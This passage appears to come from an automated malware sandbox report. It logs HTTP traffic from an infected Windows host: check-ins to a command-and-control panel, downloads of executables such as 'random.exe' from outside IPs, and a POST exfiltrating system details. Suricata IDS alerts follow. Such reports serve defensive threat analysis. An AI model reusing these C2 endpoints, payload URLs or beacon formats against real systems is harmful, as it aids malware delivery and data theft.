86 19 d5 31 61 32 66 0e 78 d1 92 ac 6b 36 34 46 ee d8 7e 80 41 7e 0e 3e 53 83 d0 7f ee 83 64 24 bd ce ff 42 5e ca 49 7b 09 bd b2 ab c3 40 bd db fa ff 8f 5f a9 70 a7 da f9 ed be 23 63 65 c1 24 4a 38 5f 3a 9f e8 28 c3 61 ec 8e df 1b e4 0e 1a 0c b3 51 ea f2 11 44 0f 62 d2 18 17 ca f1 7e c2 6f 9e a2 14 fd e1 29 0c c7 10 63 bb 60 00 cd ec 9d 4a 04 4a 96 45 7b 88 4e bc 49 ea 8b 2c 18 c9 58 b1 1c a1 99 88 ef 0e 6b bf ac 63 1f 88 22 7a 18 21 e6 f1 a1 b3 92 4a 03 2e 70 da 23 7a e4 64 25 68 37 3a 54 e6 6f 37 b0 9b f9 6a 68 bc 04 c6 1d 72 0e dd 26 8d a5 39 64 42 2d b1 1d 49 f6 a3 b3 98 a4 6f 60 85 3a 1b 52 af ec eb 85 1f 38 26 db f6 aa a9 92 86 c8 30 97 f7 6e 9e 98 f6 b1 64 b7 4f 89 e0 9c 5e 64 ce 68 f0 54 e8 0a 7d 61 91 25 af 23 dc 08 dc ed 3b 38 22 c0 27 f1 6b 8f c2 1d 14 c5 00 a7 88 6f 14 63 a7 40 e0 de 66 ab b8 61 9c 9a 44 d4 05 24 99 d5 45 2d 2e 0c df 98 cf 45 aa 54 9b 67 c5 ab 36 cd fb a7 56 a9 35 9a 91 85 7d af 62 09 40 72 42 33 89 15 14 86 1c 2e d9 1f 4c 9f 86 27 97 a3 bd d8 dd 4e d2 d9 5f ac b9 60 94 a2 cf 85 2f 55 4b 03 0f 64 32 c7 5c 61 2c 78 9f 3a 72 30 bd d6 94 19 9a da 8d 83 a2 44 b8 c9 9a 26 f8 be c4 61 bd 48 be de 71 14 be f2 1a 70 d4 2d 7d f4 c8 94 9e 11 27 62 58 75 df ad 6f 17 fa 38 7b 70 df 17 ee 37 70 a6 81 9d 66 76 fd ed f7 3f a0 8b 32 bc 21 f7 34 4a f0 0e 1f b2 3a 2d 17 86 29 f9 e9 92 1a b2 c6 26 49 0a bd bd 00 7a 58 68 71 b2 71 4e a6 e3 52 b4 de 01 7e fd 22 d7 18 73 f5 57 5c e2 a9 83 9b 9d bd 7d 2f f6 fd 1e b3 46 7e fc bc 59 75 27 f2 d8 f9 ff a0 b7 50 ae 64 80 03 84 00 99 2e 36 85 f2 e6 cc 34 10 0d 49 68 67 3f 58 8b 56 32 98 28 ef 96 7c dd d1 dc 0d fc 52 a9 e4 34 5d 02 eb 2d 34 df 34 a9 e1 e3 0d 09 7a 9b ee ea 44 74 b3 9b 69 5b 94 f9 d6 6d 87 89 2b cd 7b e6 b8 79 b6 d4 18 3a 87 99 ca a6 ee e5 f5 a2 66 b4 63 df d8 4b 0c b7 74 61 71 ce ba 14 07 17 5f c5 64 5e ce 80 0d c1 06 b9 88 08 ad 79 85 ab fc 7f cd 92 60 6b 4d 2c 80 00 62 31 d6 40 e6 15 28 a1 b2 63 a1 02 0b 4d a1 18 4f 04 43 9c f5 15 bc 53 88 44 2e b1 30 a3 0f 94 62 ed d0 15 1d b8 cd 0d 83 22 78 1c 73 e3 b3 2e 27 9e b5 5c 1a 8b 2d 03 85 20 03 6a b7 76 d8 78 2b af e6 67 ef 49 1e 56 71 c7 ef f2 0c bd 78 9a 41 1e 9b e7 a4 71 12 4a
Source: global traffic	HTTP traffic detected: POST /7jbBdsS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.11.61.104Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 35 37 32 35 45 30 37 41 38 35 46 38 37 43 36 41 46 34 33 35 35 45 34 43 35 41 42 34 36 41 41 34 35 34 33 38 35 36 33 34 30 42 32 46 38 41 30 30 44 39 31 34 42 36 35 43 43 44 30 41 33 33 45 35 37 32 35 38 46 42 32 41 34 34 43 34 30 39 44 39 31 44 35 41 37 33 46 31 42 37 38 44 36 33 36 34 43 32 34 39 41 39 36 36 42 43 34 30 39 32 34 39 37 46 31 41 30 45 45 41 37 44 43 34 38 38 37 45 39 37 33 46 41 41 38 41 34 31 37 38 43 38 39 31 45 34 31 46 33 34 35 31 45 30 Data Ascii: r=5725E07A85F87C6AF4355E4C5AB46AA4543856340B2F8A00D914B65CCD0A33E57258FB2A44C409D91D5A73F1B78D6364C249A966BC4092497F1A0EEA7DC4887E973FAA8A4178C891E41F3451E0
Source: global traffic	HTTP traffic detected: POST /vJNDHPUXPCEIZZjTPbLp1734325090 HTTP/1.1Host: home.fivetk5pn.topAccept: /Content-Type: application/jsonContent-Length: 56Data Raw: 7b 20 22 69 64 31 22 3a 20 22 75 4d 73 37 34 4a 39 48 4b 4e 51 59 41 5a 4c 4e 31 37 33 34 33 36 34 39 34 35 22 2c 20 22 64 61 74 61 22 3a 20 22 44 6f 6e 65 32 22 20 7d Data Ascii: { "id1": "uMs74J9HKNQYAZLN1734364945", "data": "Done2" }
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 31 37 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016177001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 31 37 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016178001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/unique1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 31 37 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016179001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/7055252561/p9rUYZq.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 65 31 3d 31 30 31 36 31 38 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e1=1016180001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/flava/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 31 38 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016181001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 31 32 46 37 39 42 34 35 46 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB12F79B45F82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 31 32 46 37 39 42 34 35 46 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB12F79B45F82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 31 32 46 37 39 42 34 35 46 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB12F79B45F82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 31 32 46 37 39 42 34 35 46 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB12F79B45F82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 31 32 46 37 39 42 34 35 46 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB12F79B45F82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 31 32 46 37 39 42 34 35 46 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB12F79B45F82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 31 32 46 37 39 42 34 35 46 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB12F79B45F82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 31 32 46 37 39 42 34 35 46 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB12F79B45F82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 31 32 46 37 39 42 34 35 46 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB12F79B45F82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 31 32 46 37 39 42 34 35 46 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB12F79B45F82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET /files/martin/random.exe HTTP/1.1Host: 31.41.244.11If-Modified-Since: Mon, 16 Dec 2024 14:42:45 GMTIf-None-Match: "67603c65-447c00"
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 31 38 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016182001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /vJNDHPUXPCEIZZjTPbLp1734325090 HTTP/1.1Host: home.fivetk5pn.topAccept: /Content-Type: application/jsonContent-Length: 303511Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 34 33 36 35 30 39 33 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 35 30 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 69 73 74 72 79 22 2c 20 22 70 69 64 22 3a 20 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 6d 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 32 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 30 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 69 6e 69 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 6c 6f 67 6f 6e 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 35 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 65 72 76 69 63 65 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 32 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 6c 73 61 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 34 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 34 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 37 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 38 36 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 32 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 64 77 6d 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 36 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 37 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49708 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49712 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49717 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49730 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49744 -> 104.121.10.34:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49751 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49770 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49777 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49780 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49813 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.8:49811 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49828 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49845 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49848 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49888 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49897 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49919 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49926 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49940 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.8:49937 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49944 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49956 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49963 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49972 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49978 -> 172.67.177.250:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49985 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.8:49986 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49999 -> 172.67.177.250:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:50012 -> 172.67.164.37:443
